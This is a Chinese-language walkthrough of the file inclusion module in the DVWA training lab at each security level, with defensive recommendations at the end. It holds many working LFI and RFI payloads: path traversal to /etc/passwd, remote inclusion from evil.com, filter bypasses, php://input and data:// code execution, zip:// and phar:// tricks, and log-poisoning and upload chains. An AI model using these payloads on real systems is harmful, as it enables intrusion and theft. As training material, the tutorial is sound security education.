1. 项目概述与核心价值
最近在带新人做渗透测试基础训练,发现很多朋友对“文件包含漏洞”这个概念理解得不够透彻,要么是原理没吃透,要么是实战中遇到各种过滤规则就懵了。正好,DVWA(Damn Vulnerable Web Application)这个经典的靶场里,有一个专门用来练习文件包含漏洞的模块,而且它贴心地设置了从Low到Impossible四个安全等级,简直就是为我们量身定做的“漏洞理解阶梯”。
这个“保姆级教程”的目标,就是带你手把手、一步步地,把DVWA文件包含漏洞的每一关都打通,并且把背后的原理、绕过技巧、以及那些在真实渗透测试中会用到的“骚操作”都讲清楚。文件包含漏洞(File Inclusion Vulnerability)绝不仅仅是“包含一个文件”那么简单,它常常是Web安全测试中从信息泄露到获取系统权限的关键跳板。理解它,你就能明白为什么一个看似无害的“页面参数”,能成为攻击者打开服务器大门的钥匙。
2. 文件包含漏洞核心原理深度解析
2.1 什么是文件包含?为什么会有漏洞?
简单来说,文件包含是Web开发中一种常见的代码复用技术。想象一下,你网站的每个页面都有相同的头部导航栏和底部版权信息。为了避免在每个页面重复写这些代码,聪明的做法是把导航栏和版权信息分别写成header.php和footer.php两个文件。然后,在其他页面里,只需要用include(‘header.php’)和include(‘footer.php’)这两行代码,就能把对应的内容“包含”进来。
PHP中常用的包含函数主要有这四个:
include(): 包含并运行指定文件。如果包含失败(比如文件不存在),会发出一个警告(E_WARNING),但脚本会继续执行。require(): 与include()类似,但如果包含失败,会产生一个致命错误(E_COMPILE_ERROR),并停止脚本执行。include_once()/require_once(): 功能与前两者相同,但多了一个“唯一性”检查。如果该文件已经被包含过,则不会再次包含,可以避免函数重定义、变量重新赋值等问题。
漏洞的根源就在这里:开发者本意是包含一个他们预设的、安全的本地文件(比如‘menu.php’)。但是,如果包含文件的路径(或文件名)是通过用户可控制的输入(比如URL中的?page=参数)动态拼接而成的,并且没有经过严格的过滤,攻击者就可以通过修改这个参数,让服务器去包含一个他指定的、意料之外的文件。
例如,代码是include($_GET[‘page’] . ‘.php’);,开发者期望用户访问?page=home,最终包含home.php。但如果攻击者传入?page=http://evil.com/shell,并且服务器配置允许(allow_url_include=On),那么它就会去包含远程服务器上的shell.php,这个恶意文件中的PHP代码会在你的服务器上执行!这就是“远程文件包含(RFI)”。如果包含的是服务器本地的一个敏感文件,如?page=../../../../etc/passwd,那就是“本地文件包含(LFI)”,会导致敏感信息泄露。
注意:
allow_url_include和allow_url_fopen这两个PHP配置选项默认通常是关闭的,这极大地限制了远程文件包含(RFI)的发生。但在一些老旧或配置不当的服务器上,它们可能被开启,使得RFI成为可能。本地文件包含(LFI)则更为常见。
2.2 DVWA文件包含模块环境搭建与访问
在开始实操前,确保你的DVWA已经正确运行。通常,你需要一个集成的Web服务环境(如XAMPP、PHPStudy)并安装好DVWA。将DVWA源码解压到Web根目录(如htdocs或www),然后通过浏览器访问其安装页面进行配置。
- 访问DVWA:在浏览器中输入
http://你的服务器IP或localhost/dvwa/。 - 登录:默认账号密码通常是
admin/password。 - 设置安全等级:在左侧菜单点击 “DVWA Security”,将安全级别设置为 “Low”。我们通关教程将从最低难度开始。
- 进入漏洞模块:点击左侧 “File Inclusion”,即可进入文件包含漏洞的练习页面。
你会看到一个简单的页面,上面有三个链接:file1.php,file2.php,file3.php。点击它们,URL会变成类似http://localhost/dvwa/vulnerabilities/fi/?page=file1.php的形式。这里的page参数,就是我们攻击的入口点。
3. DVWA文件包含四级别通关实战详解
3.1 Low级别:毫无防护的“裸奔”
源码审计:
<?php $file = $_GET[ 'page' ]; ?>Low级别的代码简单到令人发指。它直接获取URL中page参数的值,没有任何过滤、检查或限制,然后直接将其作为文件路径传递给包含函数。
攻击实战:
本地文件包含(LFI)读取敏感文件:
- 目标:尝试读取服务器上的
/etc/passwd文件(Linux)或C:\Windows\System32\drivers\etc\hosts文件(Windows)。 - Payload:
?page=../../../../etc/passwd - 解释:
../表示上一级目录。通过多个../,我们可以穿越目录,从Web根目录跳转到系统的根目录或其他敏感目录。如果成功,页面上会显示/etc/passwd文件的内容。 - Windows路径尝试:
?page=../../../../Windows/System32/drivers/etc/hosts或使用反斜杠..\..\..\..\Windows\...。
- 目标:尝试读取服务器上的
远程文件包含(RFI)执行任意代码:
- 前提:需要目标服务器PHP配置中
allow_url_include为 On(DVWA默认环境通常开启用于练习)。 - 操作:在另一台你能控制的服务器(或本机用Python开个临时HTTP服务)上,创建一个内容为
<?php phpinfo(); ?>的shell.php文件。 - Payload:
?page=http://你的攻击机IP/shell.php - 结果:如果成功,DVWA页面将不再显示原有内容,而是展示
phpinfo()函数的输出,这证明远程PHP代码已被成功在目标服务器上执行。你可以把phpinfo()换成任何PHP代码,比如system(‘whoami’)来执行系统命令。
- 前提:需要目标服务器PHP配置中
使用PHP Filter协议读取源码:
- 有时直接包含
.php文件,其代码会被执行,我们看不到源代码。这时可以用php://filter协议进行读取。 - Payload:
?page=php://filter/read=convert.base64-encode/resource=file1.php - 解释:这个Payload会读取
file1.php文件的内容,并将其用Base64编码后输出。你会在页面上看到一串Base64字符串,解码后就能得到file1.php的源代码。这是审计代码、寻找其他漏洞的常用手法。 - 简化读取:如果只是想看文本内容,可以去掉编码器:
?page=php://filter/read=/resource=file1.php,但这对PHP文件无效,因为PHP代码会被执行。Base64编码是绕过执行、查看源码的关键。
- 有时直接包含
实操心得:在Low级别,重点感受“用户输入直接信任”带来的危害。RFI是最危险的,因为它意味着攻击者可以直接从外部注入代码。在实际测试中,如果发现LFI,一定要尝试结合文件上传、日志注入等技巧向服务器写入一个Webshell,再通过LFI去包含它,从而升级为代码执行。
3.2 Medium级别:初级的字符串过滤与绕过
源码审计:
<?php $file = $_GET[ 'page' ]; $file = str_replace( array( “http://”, “https://” ), “”, $file ); $file = str_replace( array( “../”, “..\\” ), “”, $file ); ?>Medium级别引入了过滤。它使用str_replace()函数,试图将http://、https://、../、..\这些字符串替换为空字符串。
漏洞与绕过:这里的过滤存在一个经典缺陷:只进行一次替换。str_replace()不是递归处理的。这意味着,如果我们在字符串中插入被过滤的字符,过滤后剩下的字符可能会重新组合成我们想要的Payload。
攻击实战:
双写绕过目录穿越(../):
- 目标:依然读取
/etc/passwd。 - Payload:
?page=....//....//....//....//etc/passwd - 过程拆解:
- 我们传入
....//。 - 过滤函数寻找
../并替换为空。它找到了....//中间的那个../,将其删除。 - 删除后,字符串变成了
.../。注意,前面三个点中的后两个点,和后面的斜杠,又组成了一个新的../! - 所以,最终被处理的字符串变回了
../../。成功绕过了过滤。
- 我们传入
- 同理,对于
..\,可以使用....\/或....\\进行双写绕过。
- 目标:依然读取
双写绕过远程包含(http://):
- 目标:实现RFI。
- Payload:
?page=htthttp://p://evil.com/shell.php - 过程拆解:
- 我们传入
htthttp://p://evil.com/shell.php。 - 过滤函数寻找
http://并替换为空。它找到了字符串中间的http://并将其删除。 - 删除后,剩下的部分拼接起来正好是
http://evil.com/shell.php。绕过成功!
- 我们传入
注意事项:双写绕过的成功与否,取决于过滤逻辑和拼接顺序。有时需要尝试不同的位置。例如,过滤
../后可能还会过滤..\,那么Payload可能需要写成....\/或....\\/来应对多次不同字符串的过滤。关键在于理解过滤是一次性的、非递归的。
3.3 High级别:白名单限制与协议利用
源码审计:
<?php $file = $_GET[ 'page' ]; if( !fnmatch( “file*”, $file ) && $file != “include.php” ) { echo “ERROR: File not found!”; exit; } ?>High级别使用了更严格的限制。fnmatch(“file*”, $file)函数检查$file变量是否以字符串“file”开头。同时,它还允许$file等于“include.php”。这看起来像一个白名单机制:只允许包含以“file”开头的文件,或者是“include.php”本身。
攻击实战:利用file://协议
限制是“以file开头”,而不是“文件名是file开头”。这为我们利用file://协议流打开了大门。
基本利用:
- Payload:
?page=file:///etc/passwd - 解释:
file://是一个PHP支持的协议包装器(wrapper),用于访问本地文件系统。file:///etc/passwd完全符合“以file开头”的条件(file://…)。服务器会使用file协议处理器去打开/etc/passwd文件。由于该文件不是PHP代码,其内容会被直接输出到页面上,造成信息泄露。 - Windows示例:
?page=file:///C:/Windows/System32/drivers/etc/hosts
- Payload:
结合目录穿越:
- 虽然代码过滤了
../,但在file://协议中,我们可以使用绝对路径,完全不需要../。 - 如果必须使用相对路径,可以尝试URL编码:
..的URL编码是%2e%2e,/是%2f。Payload可能为file:///var/www/html/..%2f..%2f..%2fetc%2fpasswd,但这取决于服务器端对输入的处理顺序。通常直接使用绝对路径更可靠。
- 虽然代码过滤了
利用PHP Filter协议:
php://filter协议同样以p开头,不符合file*规则,直接使用会被拦截。- 但是,我们可以尝试将协议包装在
file://协议中吗?理论上file://应该指向一个真实的文件路径,不能嵌套其他协议。所以此路不通。High级别的防御核心就是封堵了除file://和指定文件外的其他包含方式,迫使攻击者只能进行本地文件读取(LFI),而难以直接执行代码(除非能找到已存在于服务器上的Webshell文件并包含它)。
实操心得:High级别展示了白名单过滤的威力。它极大地限制了攻击面,将RFI彻底封死,并将LFI限制在只能读取服务器本地文件。在实战中,遇到这种过滤,攻击思路需要转向:
- 信息收集:利用
file://读取各种配置文件(如/etc/passwd,/proc/self/environ,.env,config.php,php.ini),寻找数据库密码、API密钥、其他漏洞线索。- 日志文件注入:如果知道Web日志(如
/var/log/apache2/access.log)的路径,可以将PHP代码作为User-Agent或请求参数的一部分,使其写入日志文件,然后通过file://包含这个日志文件来执行代码。- 结合其他漏洞:最常见的场景是“文件上传+文件包含”。先通过一个文件上传漏洞(即使只能上传图片)将含有PHP代码的文件(如图片马)传到服务器,获得其存储路径,再通过此处的LFI去包含那个上传的文件,从而执行代码。
3.4 Impossible级别:终极白名单
源码审计:
<?php $file = $_GET[ 'page' ]; if( $file != “include.php” && $file != “file1.php” && $file != “file2.php” && $file != “file3.php” ) { echo “ERROR: File not found!”; exit; } ?>Impossible级别采用了最安全也是最“笨”的方法:硬编码白名单。$file参数只能严格等于“include.php”、“file1.php”、“file2.php”、“file3.php”这四个字符串之一,多一个字符、少一个字符、或者换成其他任何值都不行。
安全分析:这种防御方式从根本上杜绝了文件包含漏洞。因为攻击者无法控制最终被包含的文件名,它永远只能是开发者预设的那几个安全文件。任何协议(http://,php://,file://)、路径穿越(../)或编码技巧在这里都完全失效,因为输入在比较之前就已经被固定死了。
开发启示:在实际开发中,避免文件包含漏洞的最佳实践就是:
- 避免动态包含:尽量不要让用户输入直接或间接决定包含哪个文件。
- 使用白名单:如果必须动态包含,应像Impossible级别一样,使用一个预定义的、有限的列表(白名单)进行比对,只允许包含列表内的文件。
- 固定目录:如果需要包含用户指定的文件,也应将其限制在某个特定的、非Web可访问的目录下,并且使用固定的文件扩展名(如
.inc.php),再与白名单结合。
4. 高级利用技巧与协议全解
在Low级别(或某些过滤不严的环境)下,除了基本的LFI/RFI,PHP丰富的协议包装器(Wrapper)为我们提供了更多强大的攻击手段。
4.1 php://filter 的妙用
我们已经用它来读取源码。它更强大的地方在于可以对数据流进行过滤处理。
read=:指定读取过滤器,如convert.base64-encode。write=:指定写入过滤器。resource=:指定要过滤的数据流来源(通常是文件)。
实战技巧:
- 读取PHP源码:
?page=php://filter/read=convert.base64-encode/resource=index.php(经典用法)。 - 多重过滤:可以链式使用多个过滤器,例如先Base64编码,再字符串旋转(ROT13):
?page=php://filter/read=convert.base64-encode|string.rot13/resource=index.php。这在某些简单的过滤或WAF检测时可能有用。 - 写入文件(需条件):配合
php://input和allow_url_include,理论上可以构造数据流写入文件,但条件苛刻,不如其他方法直接。
4.2 php://input 与 POST数据执行
php://input是个只读流,用于访问请求的原始POST数据。当allow_url_include开启时,它可以被包含,并且POST数据中的PHP代码会被执行。
操作步骤(需使用Burp Suite或类似工具):
- 正常浏览器访问:
?page=php://input - 拦截这个请求(用Burp)。
- 将请求方法从
GET改为POST。 - 在请求体(Body)中直接写入PHP代码,例如:
<?php system(‘whoami’); ?> - 发送请求。服务器包含
php://input流,流的内容就是你的POST数据(PHP代码),于是代码被执行,响应中会返回命令执行的结果。
4.3 data:// 协议的直接代码注入
data://协议允许在URI中直接嵌入数据。它相当于一个“自包含”的数据文件。
- 明文方式:
?page=data://text/plain,<?php phpinfo();?>。注意代码中的<,?,>,空格等特殊字符需要进行URL编码。所以更稳定的写法是:?page=data://text/plain,%3C?php%20phpinfo();?%3E - Base64编码方式:
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+。这里PD9waHAgcGhwaW5mbygpOz8+就是<?php phpinfo();?>的Base64编码。这种方式可以避免特殊字符问题。
4.4 压缩协议:zip:// 与 phar://
这两个协议允许我们包含压缩包内的文件。如果网站有文件上传功能,且能上传.zip或.phar文件,这将是绕过“仅允许上传图片”限制的利器。
- 准备:创建一个
shell.php,内容为<?php phpinfo();?>。然后将其压缩成shell.zip。注意,有些利用方式要求压缩包内不能有目录层级,直接是文件。 - zip://:
- Payload:
?page=zip:///绝对路径/shell.zip%23shell.php - 关键点:
- 协议格式为
zip://[压缩文件绝对路径]#[压缩文件内的文件名]。 #在URL中表示锚点,需要编码成%23。- 路径必须是绝对路径,并且要使用正斜杠(/),即使是Windows系统(如
zip://C:/xampp/htdocs/uploads/shell.zip%23shell.php)。
- 协议格式为
- Payload:
- phar://:
- Payload:
?page=phar:///绝对路径/shell.phar/shell.php - 关键点:
- 协议格式为
phar://[压缩文件绝对路径]/[压缩文件内的文件名]。 - 这里使用
/作为分隔符,而不是#。 .phar是PHP归档文件,但phar://协议也支持.zip和.tar文件。所以phar:///path/to/shell.zip/shell.php同样有效,这提供了更多选择。
- 协议格式为
- Payload:
4.5 其他压缩流协议
compress.zlib://和compress.bzip2://:分别用于处理.gz和.bz2压缩格式的单文件。?page=compress.zlib:///path/to/file.gz- 这些协议通常用于包含单一文件的压缩内容,在特定环境下可能有用,但不如
zip://和phar://常见。
5. 实战融合与防御思考
文件包含漏洞很少孤立存在。一个成熟的渗透测试过程,往往是多种漏洞的组合利用。
经典攻击链:文件上传 + 文件包含
- 发现文件上传点:找到一处可以上传文件的功能。
- 上传Webshell:即使前端做了图片类型检查,也可能通过修改文件扩展名(如
shell.php.jpg)、文件内容(在图片末尾追加PHP代码)、或利用解析漏洞(如Apache的shell.php.jpg被解析为PHP)来上传一个可执行的脚本文件。 - 获取文件路径:上传成功后,网站通常会返回文件的访问路径(如
/uploads/2023/10/shell.php.jpg),或者可以通过目录遍历猜测。 - 触发文件包含:利用找到的文件包含漏洞,去包含这个上传的文件路径(如
?page=../../uploads/2023/10/shell.php.jpg)。由于服务器会根据文件内容(如<?php ... ?>)或解析规则来执行,从而获得代码执行权限。
防御方案总结:
- 关闭危险配置:生产环境中务必确保
php.ini里的allow_url_include和allow_url_fopen设置为Off。 - 使用白名单:对动态包含的文件名进行严格的白名单校验,就像DVWA的Impossible级别。
- 固定目录与后缀:如果业务需要动态包含,应将包含操作限制在某个特定目录内,并强制添加安全的后缀(如
.php),避免包含.inc、.log等可能被写入代码的文件。但注意,后缀检查可以被%00空字节截断(在PHP<5.3.4时)或协议流绕过,因此白名单是最优解。 - 避免用户输入:从根本上重新设计功能,避免使用用户可控的变量来拼接文件路径。
- 代码审计与安全测试:在开发流程中加入代码安全审计和定期的渗透测试,主动发现此类问题。
文件包含漏洞的理解和利用,是Web安全工程师的必修课。通过DVWA这个靶场,从毫无防护到硬编码白名单,我们清晰地看到了防御是如何层层加强的,也学会了攻击者是如何见招拆招的。真正掌握它,不仅要会“攻”,更要理解如何“防”,这样才能在安全开发和安全评估中游刃有余。